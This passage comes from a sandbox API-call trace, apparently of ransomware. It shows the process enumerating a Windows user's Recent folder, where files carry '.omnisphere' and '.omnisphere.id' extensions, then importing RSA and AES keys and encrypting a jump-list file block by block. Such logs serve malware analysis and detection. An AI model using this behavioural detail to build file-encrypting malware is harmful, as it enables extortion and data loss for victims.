ftLastWriteTime.dwLowDateTime=0x28419721, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="a1X2_-WPNwQzbcqj.lnk.omnisphere.id", cAlternateFileName="A1X2_-~1.ID")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21a749a0, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21a749a0, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2848be6f, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x873, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="aar4wXwobwm8v j.lnk.omnisphere", cAlternateFileName="AAR4WX~1.OMN")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2848be6f, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2848be6f, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2848be6f, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="aar4wXwobwm8v j.lnk.omnisphere.id", cAlternateFileName="AAR4WX~1.ID")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21ac0df8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21ac0df8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x284b2099, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x869, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="AcOLQjuLNXMql.lnk.omnisphere", cAlternateFileName="ACOLQJ~1.OMN")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x284b2099, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x284b2099, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x284b2099, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="AcOLQjuLNXMql.lnk.omnisphere.id", cAlternateFileName="ACOLQJ~1.ID")) returned 1 [0127.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec0e75a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1ec0e75a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28570d19, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xac5, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="AGjmuyB-BW6pOtioq.lnk.omnisphere", cAlternateFileName="AGJMUY~1.OMN")) returned 1 [0127.762] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28570d19, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28570d19, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28570d19, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="AGjmuyB-BW6pOtioq.lnk.omnisphere.id", cAlternateFileName="AGJMUY~1.ID")) returned 1 [0127.762] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x227916b3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x227916b3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x285bd0e0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7de, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="aPnyZYbrX3YqN-JqGl2Q.lnk.omnisphere", cAlternateFileName="APNYZY~1.OMN")) returned 1 [0127.762] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285bd0e0, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x285bd0e0, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x285bd0e0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="aPnyZYbrX3YqN-JqGl2Q.lnk.omnisphere.id", cAlternateFileName="APNYZY~1.ID")) returned 1 [0127.762] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e37cb8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22e37cb8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x285e345a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8d4, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Ar6kH-cK.lnk.omnisphere", cAlternateFileName="AR6KH-~1.OMN")) returned 1 [0127.762] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285e345a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x285e345a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x285e345a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Ar6kH-cK.lnk.omnisphere.id", cAlternateFileName="AR6KH-~1.ID")) returned 1 [0127.762] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf95bd2d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x67fe51f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x67fe51f2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="AutomaticDestinations", cAlternateFileName="AUTOMA~1")) returned 1 [0127.762] GetProcessHeap () returned 0x1600000 [0127.762] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x16f4b10 [0127.762] PathCombineW (in: pszDest=0x16f4b10, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="AutomaticDestinations" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0127.762] GetProcessHeap () returned 0x1600000 [0127.762] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f52f8 [0127.762] PathCombineW (in: pszDest=0x16f52f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*" [0127.762] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf95bd2d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x67fe51f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeaf8824c, ftLastWriteTime.dwHighDateTime=0x1d5826c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0127.762] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf95bd2d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x67fe51f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeaf8824c, ftLastWriteTime.dwHighDateTime=0x1d5826c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="..", cAlternateFileName="")) returned 1 [0127.762] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x651ffc2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x651ffc2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x651ffc2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="162797d679096999.automaticDestinations-ms", cAlternateFileName="162797~1.AUT")) returned 1 [0127.762] GetProcessHeap () returned 0x1600000 [0127.762] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0127.763] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="162797d679096999.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\162797d679096999.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\162797d679096999.automaticDestinations-ms" [0127.763] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0127.763] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\162797d679096999.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\162797d679096999.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.763] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=2560) returned 1 [0127.763] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0127.763] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0127.766] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0127.766] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0127.766] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.766] CloseHandle (hObject=0x3c0) returned 1 [0127.766] GetTickCount () returned 0x115fe13 [0127.766] GetTickCount () returned 0x115fe13 [0127.766] GetTickCount () returned 0x115fe13 [0127.766] GetTickCount () returned 0x115fe13 [0127.766] GetTickCount () returned 0x115fe13 [0127.766] GetTickCount () returned 0x115fe13 [0127.766] GetTickCount () returned 0x115fe13 [0127.766] GetTickCount () returned 0x115fe13 [0127.766] GetTickCount () returned 0x115fe13 [0127.766] GetTickCount () returned 0x115fe13 [0127.766] GetTickCount () returned 0x115fe13 [0127.766] GetTickCount () returned 0x115fe13 [0127.766] GetTickCount () returned 0x115fe13 [0127.766] GetTickCount () returned 0x115fe13 [0127.766] GetTickCount () returned 0x115fe13 [0127.766] GetTickCount () returned 0x115fe13 [0127.767] GetTickCount () returned 0x115fe13 [0127.767] GetTickCount () returned 0x115fe13 [0127.767] GetTickCount () returned 0x115fe13 [0127.767] GetTickCount () returned 0x115fe13 [0127.767] GetTickCount () returned 0x115fe13 [0127.767] GetTickCount () returned 0x115fe13 [0127.767] GetTickCount () returned 0x115fe13 [0127.767] GetTickCount () returned 0x115fe13 [0127.767] GetTickCount () returned 0x115fe13 [0127.767] GetTickCount () returned 0x115fe13 [0127.767] GetTickCount () returned 0x115fe13 [0127.767] GetTickCount () returned 0x115fe13 [0127.767] GetTickCount () returned 0x115fe13 [0127.767] GetTickCount () returned 0x115fe13 [0127.767] GetTickCount () returned 0x115fe13 [0127.767] GetTickCount () returned 0x115fe13 [0127.767] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1669120) returned 1 [0127.768] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639528) returned 1 [0127.768] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0127.768] CryptDestroyKey (hKey=0x1639528) returned 1 [0127.768] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0127.768] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0127.768] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa00) returned 0x1480000 [0127.768] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668460) returned 1 [0127.769] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x16397a8) returned 1 [0127.769] CryptSetKeyParam (hKey=0x16397a8, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.769] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.770] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, 